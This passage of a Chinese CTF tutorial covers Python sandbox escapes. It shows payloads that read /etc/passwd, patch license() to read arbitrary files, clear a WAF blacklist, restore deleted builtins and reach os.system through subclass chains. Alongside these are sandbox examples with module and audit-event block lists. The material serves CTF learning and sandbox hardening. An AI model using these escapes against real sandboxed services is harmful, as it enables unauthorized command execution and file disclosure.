相比于获取 __builtins__ 再使用 open 去进行读取,使用 get_data 的 payload 更短.

linecache 模块

getlines 函数

1
2
3
>>> import linecache
>>> linecache.getlines('/etc/passwd')
>>> __import__("linecache").getlines('/etc/passwd')

getline 函数需要第二个参数指定行号

1
__import__("linecache").getline('/etc/passwd',1)

license 函数

在 Python 里,license 不是字符串,而是一个特殊对象:

1
2
>>> type(license)
<class '_sitebuiltins._Printer'>

它是 _sitebuiltins._Printer 类的实例,平时你直接输入 license(),它会打印 Python License 信息。

这个 _Printer 类的核心逻辑为:

1
2
>>> __builtins__.license._Printer__filenames
['/usr/lib/python3.10/../LICENSE.txt', '/usr/lib/python3.10/../LICENSE', '/usr/lib/python3.10/LICENSE.txt', '/usr/lib/python3.10/LICENSE', './LICENSE.txt', './LICENSE']
  • 它内部有一个 _Printer__filenames 列表,里面是要显示的文件路径(通常是 Python 自带的 LICENSE 文本)。
  • 调用这个对象时(license()),它会按 _Printer__filenames 里的路径读取文件并输出。

如果我们能够修改 _Printer__filenames 文件列表就能任意读,例如:

1
__builtins__.__dict__["license"]._Printer__filenames = ["/etc/passwd"]

这样一来,如果执行 license(),它就会打开 /etc/passwd 并打印出来。

1
license()  # 会打印 /etc/passwd

枚举目录

os 模块

1
2
3
4
import os
os.listdir("/")

__import__('os').listdir('/')

glob 模块

1
2
3
4
import glob
glob.glob("f*")

__import__('glob').glob("f*")

获取函数信息

python 中的每一个函数对象都有一个 __code__ 属性.这个__code__ 属性就是上面的代码对象,存放了大量有关于该函数的信息.

假设上下文存在一个函数

1
2
3
4
5
6
7
8
def get_flag(some_input):
var1=1
var2="secretcode"
var3=["some","array"]
if some_input == var2:
return "THIS-IS-THE-FALG!"
else:
return "Nope"

__code__ 属性包含了诸多子属性,这些子属性用于描述函数的字节码对象,下面是对这些属性的解释:

  • co_argcount: 函数的参数数量,不包括可变参数和关键字参数。
  • co_cellvars: 函数内部使用的闭包变量的名称列表。
  • co_code: 函数的字节码指令序列,以二进制形式表示。
  • co_consts: 函数中使用的常量的元组,包括整数、浮点数、字符串等。
  • co_exceptiontable: 异常处理表,用于描述函数中的异常处理。
  • co_filename: 函数所在的文件名。
  • co_firstlineno: 函数定义的第一行所在的行号。
  • co_flags: 函数的标志位,表示函数的属性和特征,如是否有默认参数、是否是生成器函数等。
  • co_freevars: 函数中使用的自由变量的名称列表,自由变量是在函数外部定义但在函数内部被引用的变量。
  • co_kwonlyargcount: 函数的关键字参数数量。
  • co_lines: 函数的源代码行列表。
  • co_linetable: 函数的行号和字节码指令索引之间的映射表。
  • co_lnotab: 表示行号和字节码指令索引之间的映射关系的字符串。
  • co_name: 函数的名称。
  • co_names: 函数中使用的全局变量的名称列表。
  • co_nlocals: 函数中局部变量的数量。
  • co_positions: 函数中与位置相关的变量(比如闭包中的自由变量)的名称列表。
  • co_posonlyargcount: 函数的仅位置参数数量。
  • co_qualname: 函数的限定名称,包含了函数所在的模块和类名。
  • co_stacksize: 函数的堆栈大小,表示函数执行时所需的堆栈空间。
  • co_varnames: 函数中局部变量的名称列表。

下面是一些使用示例:

获取源代码中的常量

可以使用 __code__.co_consts 这种方法进行获取, co_consts 可以获取常量.

1
2
>>> get_flag.__code__.co_consts
(None, 1, 'secretcode', 'some', 'array', 'THIS-IS-THE-FALG!', 'Nope')

获取变量

则可以使用如下的 payload 获取 get_flag 函数中的变量信息

1
2
3
4
5
6
__globals__

get_flag.__globals__

>>> get_flag.__code__.co_varnames
('some_input', 'var1', 'var2', 'var3')

获取函数字节码序列

get_flag 函数的 .__code__.co_code, 可以获取到函数的字节码序列:

1
2
>>> get_flag.__code__.co_code
b'\x97\x00d\x01}\x01d\x02}\x02d\x03d\x04g\x02}\x03|\x00|\x02k\x02\x00\x00\x00\x00r\x02d\x05S\x00d\x06S\x00'

字节码并不包含源代码的完整信息,如变量名、注释等。但可以使用 dis 模块来反汇编字节码并获取大致的源代码.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
>>> bytecode = get_flag.__code__.co_code
>>> dis.dis(bytecode)
0 RESUME 0
2 LOAD_CONST 1
4 STORE_FAST 1
6 LOAD_CONST 2
8 STORE_FAST 2
10 LOAD_CONST 3
12 LOAD_CONST 4
14 BUILD_LIST 2
16 STORE_FAST 3
18 LOAD_FAST 0
20 LOAD_FAST 2
22 COMPARE_OP 2 (==)
28 POP_JUMP_FORWARD_IF_FALSE 2 (to 34)
30 LOAD_CONST 5
32 RETURN_VALUE
>> 34 LOAD_CONST 6
36 RETURN_VALUE

虽然能获取但不太方便看,如果能够获取 __code__ 对象,也可以通过 dis.disassemble 获取更清晰的表示.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
>>> bytecode = get_flag.__code__
>>> dis.disassemble(bytecode)
1 0 RESUME 0

2 2 LOAD_CONST 1 (1)
4 STORE_FAST 1 (var1)

3 6 LOAD_CONST 2 ('secretcode')
8 STORE_FAST 2 (var2)

4 10 LOAD_CONST 3 ('some')
12 LOAD_CONST 4 ('array')
14 BUILD_LIST 2
16 STORE_FAST 3 (var3)

5 18 LOAD_FAST 0 (some_input)
20 LOAD_FAST 2 (var2)
22 COMPARE_OP 2 (==)
28 POP_JUMP_FORWARD_IF_FALSE 2 (to 34)

6 30 LOAD_CONST 5 ('THIS-IS-THE-FALG!')
32 RETURN_VALUE

8 >> 34 LOAD_CONST 6 ('Nope')
36 RETURN_VALUE

获取环境信息

获取 python 版本

sys 模块

1
2
import sys
sys.version

platform 模块

1
2
import platform
platform.python_version()

获取 linux 版本

platform 模块

1
2
import platform
platform.uname()

获取路径

1
2
sys.path
sys.modules

获取全局变量

globals 函数

globals 函数可以获取所有的全局变量。

help 函数

help 函数也可以获取某个模块的帮助信息,包括全局变量, 输入 __main__ 之后可以获取当前模块的信息。

1
help> __main__

相比 globals() 而言 help() 更短,在一些限制长度的题目中有利用过这个点。

vars 函数

vars() 函数返回该对象的命名空间(namespace)中的所有属性以字典的形式表示。当前模块的所有变量也会包含在里面,一些过滤链 globals 和 help 函数的场景可以尝试使用 vars()

获取模块内部函数或变量

获取指定模块内部变量

获取模块内部函数或变量的目的主要是为了信息泄露或篡改。比如 waf.py 中存在某个变量定义了危险字符列表,我们可以考虑先获取这个变量然后将其清空。

可以先获取 load_module,然后通过 load_module 导入特定的模块,进而篡改其中变量。

1
list(().__class__.__bases__.__iter__().__next__().__subclasses__().__getitem__(84).load_module("waf").__dict__.values()).__getitem__(8).clear()

获取 __main__ 中变量

例如获取 __main__

1
sys.modules['__main__'].__dict__['app']

获取命令空间中的变量/模块/函数等

__globals__是一个特殊属性,能够以 dict 的形式返回函数(注意是函数)所在模块命名空间的所有变量,其中包含了很多已经引入的 modules。

1
2
url_for.__globals__['request']
url_for.__globals__['current_app']

常见沙箱

exec 执行

Python 的 exec() 是一个内建函数,用来执行动态生成的 Python 代码。也就是说,exec() 可以执行储存在字符串或对象中的 Python 代码。这是 exec() 的基本语法:

1
exec(object, globals, locals)
  • object 必需参数,是一个字符串,或者是任何可以被 compile() 函数转化为代码对象的对象。
  • globals 可选参数,是一个字典,表示全局命名空间 (全局变量),如果提供了,则在执行代码中被用作全局命名空间。
  • locals 可选参数,可以是任何映射对象,表示局部命名空间 (局部变量),如果被提供,则在执行代码中被用作局部命名空间。如果两者都被忽略,那么在 exec() 调用的地方决定执行的命名空间。

默认情况下,exec 使用调用处的全局/局部环境,但如果传入自己的 globals / locals,可以人为隔离环境

exec 在 Python2 还有另外一种写法:

1
exec command in _global, _local
  • command → 要执行的 Python 代码(字符串 / 代码对象)
  • _global → 全局作用域字典
  • _local → 局部作用域(可省略,省略时 _global 同时用作局部作用域)

示例沙箱

1
2
3
4
5
6
7
print(
exec(
input("code> "),
{"__builtins__": {}}, # 全局禁用 builtins
{"__builtins__": {}} # 局部也禁用 builtins
)
)

这种沙箱思路:

  • 用空字典替换 __builtins__,试图让执行环境没有内置函数/类(openevalexec__import__ 等)。
  • 同时限制全局和局部命名空间。

有时候 __builtins__ 还会被替换为修改过的 __builtins__,其中特殊函数例如 __import__ 会被添加 Hook,并且删除其中部分函数。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
#!/usr/bin/env python2
# -*- coding:utf-8 -*-
# 指定 Python2 解释器 & UTF-8 编码

# 打印横幅
def banner():
print "============================================="
print " Simple calculator implemented by python "
print "============================================="
return


# 获取用户输入
def getexp():
return raw_input(">>> ")


# 自定义 import 钩子
def _hook_import_(name, *args, **kwargs):
# 禁止导入的模块黑名单
module_blacklist = [
'os', 'sys', 'time', 'bdb', 'bsddb', 'cgi',
'CGIHTTPServer', 'cgitb', 'compileall', 'ctypes', 'dircache',
'doctest', 'dumbdbm', 'filecmp', 'fileinput', 'ftplib', 'gzip',
'getopt', 'getpass', 'gettext', 'httplib', 'importlib', 'imputil',
'linecache', 'macpath', 'mailbox', 'mailcap', 'mhlib', 'mimetools',
'mimetypes', 'modulefinder', 'multiprocessing', 'netrc', 'new',
'optparse', 'pdb', 'pipes', 'pkgutil', 'platform', 'popen2', 'poplib',
'posix', 'posixfile', 'profile', 'pstats', 'pty', 'py_compile',
'pyclbr', 'pydoc', 'rexec', 'runpy', 'shlex', 'shutil', 'SimpleHTTPServer',
'SimpleXMLRPCServer', 'site', 'smtpd', 'socket', 'SocketServer',
'subprocess', 'sysconfig', 'tabnanny', 'tarfile', 'telnetlib',
'tempfile', 'Tix', 'trace', 'turtle', 'urllib', 'urllib2',
'user', 'uu', 'webbrowser', 'whichdb', 'zipfile', 'zipimport'
]
for forbid in module_blacklist:
if name == forbid: # 如果要导入的模块在黑名单中
raise RuntimeError('No you can\' import {0}!!!'.format(forbid))
# 否则正常导入
return __import__(name, *args, **kwargs)


# 简单的命令黑名单检测
def sandbox_filter(command):
blacklist = [
'exec', # 禁止 exec
'sh', # 禁止出现 sh(防 shell 调用)
'__getitem__', # 禁止通过下标访问绕过
'__setitem__', # 禁止通过下标赋值绕过
'=', # 禁止赋值语句
'open', # 禁止 open 打开文件
'read', # 禁止 read 读取文件
'sys', # 禁止 sys 模块
';', # 禁止多条命令
'os' # 禁止 os 模块
]
for forbid in blacklist:
if forbid in command:
return 0 # 命中关键字 → 不允许执行
return 1 # 通过检测


# 沙箱执行函数
def sandbox_exec(command):
result = 0
# 复制一份 __builtins__(这是 Python 的内置函数和变量集合)
__sandboxed_builtins__ = dict(__builtins__.__dict__)
# 用 _hook_import_ 替换内置 __import__(加黑名单检查)
__sandboxed_builtins__['__import__'] = _hook_import_
# 删除 open 函数(防止直接打开文件)
del __sandboxed_builtins__['open']

# 设置全局命名空间(只能使用我们给的内置函数)
_global = {
'__builtins__': __sandboxed_builtins__
}

# 检查用户输入是否包含黑名单关键字
if sandbox_filter(command) == 0:
print 'Malicious user input detected!!!'
exit(0)

# 把用户输入包装成一个赋值表达式(方便取结果)
command = 'result = ' + command

try:
# 在受限全局环境 _global 中执行代码
exec command in _global
except Exception, e:
# 如果执行出错,打印错误信息
print e
return 0

# 从全局字典中取出计算结果
result = _global['result']
return result


# 运行程序
banner()
while 1:
command = getexp() # 获取输入
print sandbox_exec(command) # 执行并打印结果

eval 执行

eval 的执行与 exec 基本一致,都可以对命名空间进行限制,例如下面的代码,在这个示例中就是直接将命名空间置空,这样就使得内置的函数都无法使用。

1
2
3
4
5
6
print(
eval(input("code> "),
{"__builtins__": {}},
{"__builtins__": {}}
)
)

eval 与 exec 的区别再于 exec 允许 \n 和 ; 进行换行,而 eval 不允许。并且 exec 不会将结果输出出来,而 eval 会。如果加入了 compile 函数则需要按照 compile 函数的模式进行区分。

基于 audit hook 的沙箱

Python 3.8 中引入的一种 audit hook 的新特性。审计钩子可以用来监控和记录 Python 程序在运行时的行为,特别是那些安全敏感的行为,如文件的读写、网络通信和动态代码的执行等。

sys.addaudithook(hook) 的参数 hook 是一个函数,它的定义形式为 hook(event: str, args: tuple)。其中,event 是一个描述事件名称的字符串,args 是一个包含了与该事件相关的参数的元组。

一旦一个审计钩子被添加,那么在解释器运行时,每当发生一个与安全相关的事件,就会调用该审计钩子函数。event 参数会包含事件的描述,args 参数则包含了事件的相关信息。这样,审计钩子就可以根据这些信息进行审计记录或者对某些事件进行阻止。

注意,由于 sys.addaudithook() 主要是用于增加审计和安全性,一旦一个审计钩子被添加,它不能被移除。这是为了防止恶意代码移除审计钩子以逃避审计。

举例来说,我们可以定义这样的一个审计钩子,使得每次触发 open 事件都会打印一条消息:

1
2
3
4
5
6
7
import sys

def audit_hook(event, args):
if event == 'open':
print(f'Opening file: {args}')

sys.addaudithook(audit_hook)

然后,如果运行 open('myfile.txt'),就会得到 Opening file: ('myfile.txt',) 这样的输出。

sys.addaudithook 构建沙箱

在一些沙箱的题目中也会使用这种方式,例如:

1
2
3
4
5
6
7
8
9
10
11
    ...
def my_audit_hook(event, _):
BALCKED_EVENTS = set({'pty.spawn', 'os.system', 'os.exec', 'os.posix_spawn','os.spawn','subprocess.Popen'})
if event in BALCKED_EVENTS:
raise RuntimeError('Operation banned: {}'.format(event))
...

sys.addaudithook(my_audit_hook)

if __name__ == '__main__':
main()

这个沙箱对'pty.spawn', 'os.system', 'os.exec', 'os.posix_spawn','os.spawn','subprocess.Popen' 这些函数进行了限制,一旦调用则抛出异常.

白名单比黑名单的限制更大,下面的沙箱只允许 input exec compile 等函数的调用。

1
2
3
4
5
6
7
8
9
...
def my_audit_hook(my_event, _):
WHITED_EVENTS = set({'builtins.input', 'builtins.input/result', 'exec', 'compile'})
if my_event not in WHITED_EVENTS:
raise RuntimeError('Operation not permitted: {}'.format(my_event))
...
if __name__ == "__main__":
sys.addaudithook(my_audit_hook)
main()

一般的 payload 无法使用:

1
2
3
4
> __import__('ctypes').CDLL(None).system('ls /'.encode())
Operation not permitted: import
> [ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if x.__name__=="_wrap_close"][0]["system"]("ls")
Operation not permitted: os.system

PySys_AddAuditHook 构建沙箱

PySys_AddAuditHook 是 CPython 提供的 C 级审计钩子注册接口(见 PEP 578)。你在 C 里实现一个回调:

1
typedef int (*Py_AuditHookFunction)(const char *event, PyObject *args, void *userData);

然后在 初始化 Python 解释器之前 调用 PySys_AddAuditHook 把这个回调注册进去。

1
int PySys_AddAuditHook(Py_AuditHookFunction hook, void *userData);

PySys_AddAuditHookCPython 提供的一个 C API(PEP 578 定义的),它不是一个 Python 脚本、也不是第三方插件,而是嵌入到 CPython 解释器里的 C 函数

Python 解释器的核心逻辑(编译、执行、内存管理、导入模块等)其实是一个 C 语言写的库,一般叫做:

  • Linux/macOS 上:libpython3.x.so(动态链接库)
  • Windows 上:python3x.dll(DLL 动态库)

平时你在终端敲的 python3 这个可执行文件,其实只是一个很薄的外壳,它在 main() 函数里调用这个库里的 API,比如:

1
2
3
4
5
int main(int argc, char **argv) {
Py_Initialize(); // 初始化解释器
PyRun_AnyFile(...); // 运行交互模式或脚本
Py_Finalize(); // 收尾
}

所以你完全可以用 C 代码自己写一个“自己的解释器入口”。这样你就能在 Py_Initialize() 之前插钩子(PySys_AddAuditHook)。编译出来的可执行文件就能跑 Python 代码,但带着你自己加的安全策略,Python 脚本里删不掉它。

之所以要在 Py_Initialize() 之前安装,是为了捕获并控制解释器启动早期的所有审计事件(例如早期导入、初始化步骤等);如果等初始化后才装,启动阶段已经发生的那些事件你就看不到了。

这个钩子是进程级别的:安装后对当前进程里的所有子解释器都生效;同时它不可移除,这能防止运行期的恶意代码把审计卸掉。当某个事件触发你的回调时,如果你想阻断该操作,就先用诸如 PyErr_SetString(PyExc_RuntimeError, "blocked") 之类的 API 设置一个 Python 异常,再让回调返回非 0(通常返回 -1),解释器就会以这个异常拒绝继续执行该事件。

与之对比,sys.addaudithookPython 层在运行时注册的钩子,安装时机通常更晚、可见性更高,适合应用内的审计或记录;而如果你的目标是在“一切发生之前”就拦住敏感点(包括启动与早期导入),或希望钩子对 Python 代码不可见、不可卸,**优先选择 C 级的 PySys_AddAuditHook**。

例如下面这段示例代码可以阻断 importos.systemsubprocess.Popen 等事件:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
// audit_hook.c
#define PY_SSIZE_T_CLEAN
#include <Python.h>
#include <string.h>
#include <stdio.h>

static int my_audit_hook(const char *event, PyObject *args, void *ud) {
if (strcmp(event, "os.system") == 0
|| strcmp(event, "subprocess.Popen") == 0
|| strcmp(event, "os.exec") == 0
|| strcmp(event, "os.posix_spawn") == 0
|| strcmp(event, "os.spawn") == 0) {
PyErr_SetString(PyExc_RuntimeError, "blocked by C audit hook");
return -1; // 阻断危险操作
}
return 0; // 其他操作放行
}

int main(void) {
// 1) 在初始化之前装钩子
PySys_AddAuditHook(my_audit_hook, NULL);

// 2) 告诉解释器进入交互模式
// (在 TTY 下其实不设也会进入;设上更保险)
Py_InteractiveFlag = 1;

// 3) 初始化解释器
Py_Initialize();

// 4) 打个提示
fprintf(stdout,
"== C-audited Python REPL ==\n"
"试着执行: import os; os.system('id'),会被拦截。\n"
"Ctrl-D 退出。\n\n");

// 5) 进入交互 REPL(从 stdin 读并执行)
// 如果你的 Python 版本不支持这个函数,可用 PyRun_InteractiveLoop 替代
PyRun_AnyFile(stdin, "<stdin>");

// 6) 收尾
if (Py_FinalizeEx() < 0) return 120;
return 0;
}

编译命令:

1
2
3
4
sudo apt update
sudo apt install python3.10-dev # 版本号按你系统的 Python 版本改
cc audit_hook.c -o audit_hook $(python3-config --embed --cflags --ldflags)
./audit_hook

运行结果:

1
2
3
4
5
6
7
8
9
10
== C-audited Python REPL ==
试着执行: import os; os.system('id'),会被拦截。
Ctrl-D 退出。

>>> import os
>>> os.system('id')
Traceback (most recent call last):
File "<stdin>", line 1, in <module>
RuntimeError: blocked by C audit hook
>>>

基于 AST 的沙箱

Python 的抽象语法树(AST,Abstract Syntax Tree)是一种用来表示 Python 源代码的树状结构。在这个树状结构中,每个节点都代表源代码中的一种结构,如一个函数调用、一个操作符、一个变量等。Python 的 ast 模块提供了一种机制来解析 Python 源代码并生成这样的抽象语法树。 下面是Python ast模块的一些常见节点类型:

  • ast.Module: 表示一个整个的模块或者脚本。
  • ast.FunctionDef: 表示一个函数定义。
  • ast.AsyncFunctionDef: 表示一个异步函数定义。
  • ast.ClassDef: 表示一个类定义。
  • ast.Return: 表示一个return语句。
  • ast.Delete: 表示一个del语句。
  • ast.Assign: 表示一个赋值语句。
  • ast.AugAssign: 表示一个增量赋值语句,如x += 1
  • ast.For: 表示一个for循环。
  • ast.While: 表示一个while循环。
  • ast.If: 表示一个if语句。
  • ast.With: 表示一个with语句。
  • ast.Raise: 表示一个raise语句。
  • ast.Try: 表示一个try/except语句。
  • ast.Import: 表示一个import语句。
  • ast.ImportFrom: 表示一个from…import…语句。
  • ast.Expr: 表示一个表达式。
  • ast.Call: 表示一个函数调用。
  • ast.Name: 表示一个变量名。
  • ast.Attribute: 表示一个属性引用,如x.y

以上列举的只是ast模块中一部分的节点类型,还有很多其他类型的节点。更详细的列表可以在Python官方文档的ast模块部分找到。

一些 CTF 题目就采用了检查 AST 节点构建沙箱, 下面是一个示例. 在这个示例中, verify_secure 函数对 compile 之后的代码进行校验, 禁止 ast.Import

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
import ast
import sys
import os

def verify_secure(m):
for x in ast.walk(m):
match type(x):
case (ast.Import|ast.ImportFrom|ast.Call):
print(f"ERROR: Banned statement {x}")
return False
return True

abspath = os.path.abspath(__file__)
dname = os.path.dirname(abspath)
os.chdir(dname)

print("-- Please enter code (last line must contain only --END)")
source_code = ""
while True:
line = sys.stdin.readline()
if line.startswith("--END"):
break
source_code += line

tree = compile(source_code, "input.py", 'exec', flags=ast.PyCF_ONLY_AST)
if verify_secure(tree): # Safe to execute!
print("-- Executing safe code:")
compiled = compile(source_code, "input.py", 'exec')
exec(compiled)

基于 opcode 的沙箱

字节码概念

Python 源代码会先被编译成一种中间表示形式——字节码(Bytecode),它是 Python 虚拟机(PVM)可直接执行的指令集。字节码由一系列 操作码(opcode) 组成,与平台无关,只要有相应版本的 Python 解释器都能执行。

操作码(Opcode)是字节码中的一条指令,用于告诉虚拟机要执行的操作。操作码由 1 字节的整数值(0-255 之间)表示,一个字节表示一个 opcode,对应的助记符(如 LOAD_CONSTBINARY_OP)。

编译阶段 Python 将 .py 源文件编译成字节码(可缓存到 .pyc 文件中);执行阶段PVM 逐条读取并执行字节码指令。

Python 提供了 dis 模块用来查看指定函数字节码:

1
2
3
4
5
6
7
8
9
10
11
12
import dis

def add(a, b):
return a + b

dis.dis(add)
"""
2 0 LOAD_FAST 0 (a)
2 LOAD_FAST 1 (b)
4 BINARY_ADD
6 RETURN_VALUE
"""

或者使用 dis.opmapdis.opname 查看具体某个字节码的助记符。Python 一般最多有 256 种操作码(0-255),部分保留或未定义。

1
2
3
import dis
print(dis.opmap['LOAD_CONST']) # -> 100
print(dis.opname[100]) # -> 'LOAD_CONST'

沙箱示例

LACTF 2023 Pycjail 为例:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
# 初始的禁止指令列表(按名称)
# IMPORT_NAME → 用于 import 语句导入模块
# MAKE_FUNCTION → 用于定义函数(def / lambda)
banned = ["IMPORT_NAME", "MAKE_FUNCTION"]

# 遍历所有 Python opcode 的名字(opcode.opmap 是 {指令名: opcode数值} 的映射)
for k in opcode.opmap:
# 如果指令名中包含 "LOAD" 且不是 "LOAD_CONST"
# LOAD_* 指令会从变量、属性、全局等位置取值
# LOAD_CONST 例外,因为它只从常量池取值,不会访问外部环境
# 或者指令名中包含 "STORE"
# STORE_* 指令会把值存到变量、属性等地方
# 或者指令名中包含 "DELETE"
# DELETE_* 指令会删除变量、属性等
# 或者指令名中包含 "JUMP"
# JUMP_* 指令会进行跳转(影响控制流)
if (
("LOAD" in k and k != "LOAD_CONST")
or "STORE" in k
or "DELETE" in k
or "JUMP" in k
):
# 把该指令名加入禁止列表
banned.append(k)

# 将指令名转换成 opcode 数值集合(便于直接和字节码的 opcode 对比)
banned = {opcode.opmap[x] for x in banned}

# (后续代码片段,假设 code 是用户输入编译后的字节码序列)
# 从 0 开始,每隔 2 字节取一个值(每个指令1字节opcode + 1字节参数)
# 检查这些 opcode 是否在禁止集合中
elif any(code[i] in banned for i in range(0, len(code), 2)):
# 一旦发现存在被禁的 opcode,就拒绝执行
print("banned opcode >:(")

过滤规则:

  • 显式禁止
    • IMPORT_NAME(导入模块)
    • MAKE_FUNCTION(定义新函数)
  • 模式禁止
    • 所有 LOAD_*(除了 LOAD_CONST
    • 所有 STORE_*(变量赋值)
    • 所有 DELETE_*(删除变量/属性)
    • 所有 JUMP_*(跳转指令)

过滤效果:

  • 被禁能力:
    • 读取任何变量、全局名、属性(LOAD_NAMELOAD_GLOBAL…)。
    • 赋值、删除变量。
    • 跳转、循环、条件控制。
    • 导入模块、定义函数。
  • 允许能力:
    • LOAD_CONST(加载常量)
    • 算术运算(BINARY_OP
    • 构造常量结构(BUILD_LISTBUILD_TUPLE…)
    • RETURN_VALUE

绕过删除模块或方法

在一些沙箱中,可能会对某些模块或者模块的某些方法使用 del 关键字进行删除。 例如删除 builtins 模块的 eval 方法。

1
2
3
4
5
6
7
>>> __builtins__.__dict__['eval']
<built-in function eval>
>>> del __builtins__.__dict__['eval']
>>> __builtins__.__dict__['eval']
Traceback (most recent call last):
File "<stdin>", line 1, in <module>
KeyError: 'eval'

reload 重新加载

reload() 函数的作用是重新加载一个已经导入的模块。在某些场景(例如沙箱逃逸)中,如果内置函数被删除,可以通过 reload() 恢复模块原始状态,从而找回被删掉的函数。

Python 2 中的行为

在 Python 2 中,reload 是一个内置函数,可以直接使用:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
>>> __builtins__.__dict__['eval']
<built-in function eval>

>>> del __builtins__.__dict__['eval'] # 删除 eval
>>> __builtins__.__dict__['eval']
Traceback (most recent call last):
...
KeyError: 'eval'

>>> reload(__builtins__) # 重新加载 __builtins__
<module '__builtin__' (built-in)>

>>> __builtins__.__dict__['eval'] # 恢复成功
<built-in function eval>

reload(__builtin__)重新初始化内置模块,把默认符号(eval 等)重新填回

Python 2 下,删除的内置函数可以通过 reload(__builtins__) 恢复。

Python 3 中的行为

在 Python 3 中,reload() 被移到了 importlib 模块:

1
2
import importlib
importlib.reload(module)

但 Python 3 对 __builtins__reload 行为做了限制importlib.reload(__builtins__) 不会恢复被删除的内置函数。

1
2
3
4
5
6
7
8
>>> import importlib
>>> importlib.reload(__builtins__)
<module 'builtins' (built-in)>

>>> __builtins__.__dict__['eval']
Traceback (most recent call last):
...
KeyError: 'eval'

这是因为在 Python3 中 importlib.reload(builtins) 走的是 importlib 的重载协议。对“内置模块”来说,加载器(BuiltinImporter)在 reload 时不会重新跑 C 级初始化(基本是空操作),因此不会重建/填充模块字典。你删过的名字就还是没了。

而在 Python2 中 reload(__builtin__) 会再次调用该内置模块的 C 级初始化函数init__builtin__),从而把默认的内建名字(eval 等)重新填回模块字典。所以删掉的东西能回来。

恢复 sys.modules

sys.modules 是 Python 解释器内部的模块缓存字典,键是模块名(字符串),值是已加载的模块对象。每次执行 import xxx 时,Python **先检查 sys.modules**:

  • 如果存在同名 key,就直接返回里面的对象(不重新加载文件)。
  • 如果不存在,就去找模块文件(或内置模块等),加载后放到 sys.modules

这意味着——如果有人在沙箱中恶意替换

1
sys.modules['os'] = "not allowed"

那么 import os 拿到的就是字符串 "not allowed",而不是模块对象,后续任何属性访问都会出错。

除此之恶意替换 os 模块还会影响其他模块。因为许多库(如 subprocessshutiltempfile)内部隐式导入os 模块:

1
2
3
4
import os

def _handle_exitstatus(self, sts, _WIFSIGNALED=os.WIFSIGNALED, ...):
...

如果 os 变成了一个字符串,自然会触发:

1
AttributeError: 'str' object has no attribute 'WIFSIGNALED'

因为它期望 os 是个模块对象。

由于 import 机制是**先查 sys.modules**,所以:

  • 如果你不先 del sys.modules['os'],它永远不会去真正加载 os 模块文件。
  • 删除后再 import os,解释器会走正常的模块加载流程,从磁盘或内置模块表重新导入。

示例:

1
2
3
4
5
6
7
8
9
10
11
12
13
import sys

# 沙箱里被替换
sys.modules['os'] = "not allowed"

# 直接导入会拿到坏的对象
import os
# AttributeError: 'str' object has no attribute 'system'

# 修复
del sys.modules['os'] # 删除缓存
import os # 重新加载
os.system("ls") # OK

注意

  • 必须删除 key
    不能直接赋值 None,因为 None 依旧是缓存的一部分,import 不会重新加载。

  • 模块依赖链
    如果 os 被替换,其他已加载的模块中可能已经持有坏引用,比如:

    1
    2
    3
    import subprocess
    sys.modules['os'] = "bad"
    subprocess.os # 依旧是坏的

    这种情况要重新加载依赖模块:

    1
    2
    3
    del sys.modules['subprocess']
    del sys.modules['os']
    import os, subprocess
  • 内置模块(如 sysbuiltins)即使被 del,也不会真的丢失,它们由解释器本身维护,可以重新加载。

使用 globals() 获取 builtins 方法

在一些题目中,可能通过覆盖内置的函数来限制我们使用。例如下面的代码:

1
2
3
4
5
6
7
8
9
10
11
def blacklist_fun_callback(*args):
print("Player! It's already banned!")

vars = blacklist_fun_callback
attr = blacklist_fun_callback
dir = blacklist_fun_callback
getattr = blacklist_fun_callback
exec = blacklist_fun_callback
__import__ = blacklist_fun_callback
compile = blacklist_fun_callback
breakpoint = blacklist_fun_callback

但 builtins 模块是一个不可变的模块对象,这样修改仅能够在当前的作用域中生效,而 globals() 中存放了 builtins 模块的索引,因此可以通过下面的方式获取到原始的方法。

1
globals()["__builtins__"]['breakpoint']

但如果题目直接通过下面的方式来删除,那就没有办法了,即使 reload 重新导入 builtins 模块,较新版本的 python 中也无法恢复。

1
del globals()["__builtins__"].breakpoint

利用 gc 获取已删除模块

del sys.modules['模块名'] 只删除字典项,不会销毁模块对象本身,只要还有其他引用,模块依然存在于内存中。

1
2
3
for module in set(sys.modules.keys()):
if module in sys.modules:
del sys.modules[module]

gc 是Python 的内置模块,全名为”garbage collector”,中文译为”垃圾回收”。gc 模块主要的功能是提供一个接口供开发者直接与 Python 的垃圾回收机制进行交互。

Python 使用了引用计数作为其主要的内存管理机制,同时也引入了循环垃圾回收器来检测并收集循环引用的对象。gc 模块提供了一些函数,让你可以直接控制这个循环垃圾回收器。

下面是一些 gc 模块中的主要函数:

  1. gc.collect(generation=2):这个函数会立即触发一次垃圾回收。你可以通过 generation 参数指定要收集的代数。Python 的垃圾回收器是分代的,新创建的对象在第一代,经历过一次垃圾回收后仍然存活的对象会被移到下一代。
  2. gc.get_objects():这个函数会返回当前被管理的所有对象的列表。
  3. gc.get_referrers(*objs):这个函数会返回指向 objs 中任何一个对象的对象列表。

gc 模块本身属于内建/冻结模块,能够通过 __builtins____loader__.load_module 加载,从而绕过一些审计钩子(audit hook)对“常规导入流程”的监控。

1
2
>>> 'gc' in __import__('sys').builtin_module_names
True

完整演示代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
#!/usr/bin/env python3
# -*- coding: utf-8 -*-

import sys

